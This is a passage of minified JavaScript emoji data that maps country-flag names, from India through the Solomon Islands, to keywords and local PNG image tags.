src="1f1ee-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},indonesia:{keywords:["flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\udde9" src="1f1ee-1f1e9.png"/>',fitzpatrick_scale:!1,category:"flags"},iran:{keywords:["iran,","islamic","republic","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf7" src="1f1ee-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},iraq:{keywords:["iq","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf6" src="1f1ee-1f1f6.png"/>',fitzpatrick_scale:!1,category:"flags"},ireland:{keywords:["ie","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddea" src="1f1ee-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},isle_of_man:{keywords:["isle","man","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf2" src="1f1ee-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},israel:{keywords:["il","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf1" src="1f1ee-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},it:{keywords:["italy","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf9" src="1f1ee-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},cote_divoire:{keywords:["ivory","coast","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddee" src="1f1e8-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},jamaica:{keywords:["jm","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddef\ud83c\uddf2" src="1f1ef-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},jp:{keywords:["japanese","nation","flag","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddef\ud83c\uddf5" src="1f1ef-1f1f5.png"/>',fitzpatrick_scale:!1,category:"flags"},jersey:{keywords:["je","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddef\ud83c\uddea" src="1f1ef-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},jordan:{keywords:["jo","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddef\ud83c\uddf4" src="1f1ef-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},kazakhstan:{keywords:["kz","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddff" src="1f1f0-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},kenya:{keywords:["ke","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddea" src="1f1f0-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},kiribati:{keywords:["ki","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddee" src="1f1f0-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},kosovo:{keywords:["xk","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfd\ud83c\uddf0" src="1f1fd-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},kuwait:{keywords:["kw","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddfc" src="1f1f0-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},kyrgyzstan:{keywords:["kg","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddec" src="1f1f0-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},laos:{keywords:["lao","democratic","republic","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\udde6" src="1f1f1-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},latvia:{keywords:["lv","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddfb" src="1f1f1-1f1fb.png"/>',fitzpatrick_scale:!1,category:"flags"},lebanon:{keywords:["lb","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\udde7" src="1f1f1-1f1e7.png"/>',fitzpatrick_scale:!1,category:"flags"},lesotho:{keywords:["ls","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddf8" src="1f1f1-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},liberia:{keywords:["lr","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddf7" src="1f1f1-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},libya:{keywords:["ly","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddfe" src="1f1f1-1f1fe.png"/>',fitzpatrick_scale:!1,category:"flags"},liechtenstein:{keywords:["li","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddee" src="1f1f1-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},lithuania:{keywords:["lt","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddf9" src="1f1f1-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},luxembourg:{keywords:["lu","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddfa" src="1f1f1-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},macau:{keywords:["macao","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf4" src="1f1f2-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},macedonia:{keywords:["macedonia,","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf0" src="1f1f2-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},madagascar:{keywords:["mg","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddec" src="1f1f2-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},malawi:{keywords:["mw","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfc" src="1f1f2-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},malaysia:{keywords:["my","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfe" src="1f1f2-1f1fe.png"/>',fitzpatrick_scale:!1,category:"flags"},maldives:{keywords:["mv","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfb" src="1f1f2-1f1fb.png"/>',fitzpatrick_scale:!1,category:"flags"},mali:{keywords:["ml","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf1" src="1f1f2-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},malta:{keywords:["mt","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf9" src="1f1f2-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},marshall_islands:{keywords:["marshall","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\udded" src="1f1f2-1f1ed.png"/>',fitzpatrick_scale:!1,category:"flags"},martinique:{keywords:["mq","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf6" src="1f1f2-1f1f6.png"/>',fitzpatrick_scale:!1,category:"flags"},mauritania:{keywords:["mr","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf7" src="1f1f2-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},mauritius:{keywords:["mu","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfa" src="1f1f2-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},mayotte:{keywords:["yt","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfe\ud83c\uddf9" src="1f1fe-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},mexico:{keywords:["mx","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfd" src="1f1f2-1f1fd.png"/>',fitzpatrick_scale:!1,category:"flags"},micronesia:{keywords:["micronesia,","federated","states","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddf2" src="1f1eb-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},moldova:{keywords:["moldova,","republic","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\udde9" src="1f1f2-1f1e9.png"/>',fitzpatrick_scale:!1,category:"flags"},monaco:{keywords:["mc","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\udde8" src="1f1f2-1f1e8.png"/>',fitzpatrick_scale:!1,category:"flags"},mongolia:{keywords:["mn","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf3" src="1f1f2-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},montenegro:{keywords:["me","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddea" src="1f1f2-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},montserrat:{keywords:["ms","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf8" src="1f1f2-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},morocco:{keywords:["ma","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\udde6" src="1f1f2-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},mozambique:{keywords:["mz","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddff" src="1f1f2-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},myanmar:{keywords:["mm","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf2" src="1f1f2-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},namibia:{keywords:["na","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\udde6" src="1f1f3-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},nauru:{keywords:["nr","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddf7" src="1f1f3-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},nepal:{keywords:["np","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddf5" src="1f1f3-1f1f5.png"/>',fitzpatrick_scale:!1,category:"flags"},netherlands:{keywords:["nl","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddf1" src="1f1f3-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},new_caledonia:{keywords:["new","caledonia","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\udde8" src="1f1f3-1f1e8.png"/>',fitzpatrick_scale:!1,category:"flags"},new_zealand:{keywords:["new","zealand","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddff" src="1f1f3-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},nicaragua:{keywords:["ni","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddee" src="1f1f3-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},niger:{keywords:["ne","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddea" src="1f1f3-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},nigeria:{keywords:["flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddec" src="1f1f3-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},niue:{keywords:["nu","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddfa" src="1f1f3-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},norfolk_island:{keywords:["norfolk","island","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddeb" src="1f1f3-1f1eb.png"/>',fitzpatrick_scale:!1,category:"flags"},northern_mariana_islands:{keywords:["northern","mariana","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf5" src="1f1f2-1f1f5.png"/>',fitzpatrick_scale:!1,category:"flags"},north_korea:{keywords:["north","korea","nation","flag","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddf5" src="1f1f0-1f1f5.png"/>',fitzpatrick_scale:!1,category:"flags"},norway:{keywords:["no","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddf4" src="1f1f3-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},oman:{keywords:["om_symbol","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf4\ud83c\uddf2" src="1f1f4-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},pakistan:{keywords:["pk","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf0" src="1f1f5-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},palau:{keywords:["pw","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddfc" src="1f1f5-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},palestinian_territories:{keywords:["palestine","palestinian","territories","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf8" src="1f1f5-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},panama:{keywords:["pa","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\udde6" src="1f1f5-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},papua_new_guinea:{keywords:["papua","new","guinea","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddec" src="1f1f5-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},paraguay:{keywords:["py","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddfe" src="1f1f5-1f1fe.png"/>',fitzpatrick_scale:!1,category:"flags"},peru:{keywords:["pe","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddea" src="1f1f5-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},philippines:{keywords:["ph","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\udded" src="1f1f5-1f1ed.png"/>',fitzpatrick_scale:!1,category:"flags"},pitcairn_islands:{keywords:["pitcairn","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf3" src="1f1f5-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},poland:{keywords:["pl","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf1" src="1f1f5-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},portugal:{keywords:["pt","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf9" src="1f1f5-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},puerto_rico:{keywords:["puerto","rico","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf7" src="1f1f5-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},qatar:{keywords:["qa","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf6\ud83c\udde6" src="1f1f6-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},reunion:{keywords:["r\xe9union","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddea" src="1f1f7-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},romania:{keywords:["ro","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddf4" src="1f1f7-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},ru:{keywords:["russian","federation","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddfa" src="1f1f7-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},rwanda:{keywords:["rw","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddfc" src="1f1f7-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},st_barthelemy:{keywords:["saint","barth\xe9lemy","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf1" src="1f1e7-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},st_helena:{keywords:["saint","helena","ascension","tristan","cunha","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udded" src="1f1f8-1f1ed.png"/>',fitzpatrick_scale:!1,category:"flags"},st_kitts_nevis:{keywords:["saint","kitts","nevis","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddf3" src="1f1f0-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},st_lucia:{keywords:["saint","lucia","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\udde8" src="1f1f1-1f1e8.png"/>',fitzpatrick_scale:!1,category:"flags"},st_pierre_miquelon:{keywords:["saint","pierre","miquelon","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf2" src="1f1f5-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},st_vincent_grenadines:{keywords:["saint","vincent","grenadines","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\udde8" src="1f1fb-1f1e8.png"/>',fitzpatrick_scale:!1,category:"flags"},samoa:{keywords:["ws","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfc\ud83c\uddf8" src="1f1fc-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},san_marino:{keywords:["san","marino","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf2" src="1f1f8-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},sao_tome_principe:{keywords:["sao","tome","principe","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf9" src="1f1f8-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},saudi_arabia:{keywords:["flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udde6" src="1f1f8-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},senegal:{keywords:["sn","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf3" src="1f1f8-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},serbia:{keywords:["rs","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddf8" src="1f1f7-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},seychelles:{keywords:["sc","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udde8" src="1f1f8-1f1e8.png"/>',fitzpatrick_scale:!1,category:"flags"},sierra_leone:{keywords:["sierra","leone","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf1" src="1f1f8-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},singapore:{keywords:["sg","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddec" src="1f1f8-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},sint_maarten:{keywords:["sint","maarten","dutch","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddfd" src="1f1f8-1f1fd.png"/>',fitzpatrick_scale:!1,category:"flags"},slovakia:{keywords:["sk","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf0" src="1f1f8-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},slovenia:{keywords:["si","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddee" src="1f1f8-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},solomon_islands:{keywords:["solomon","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" 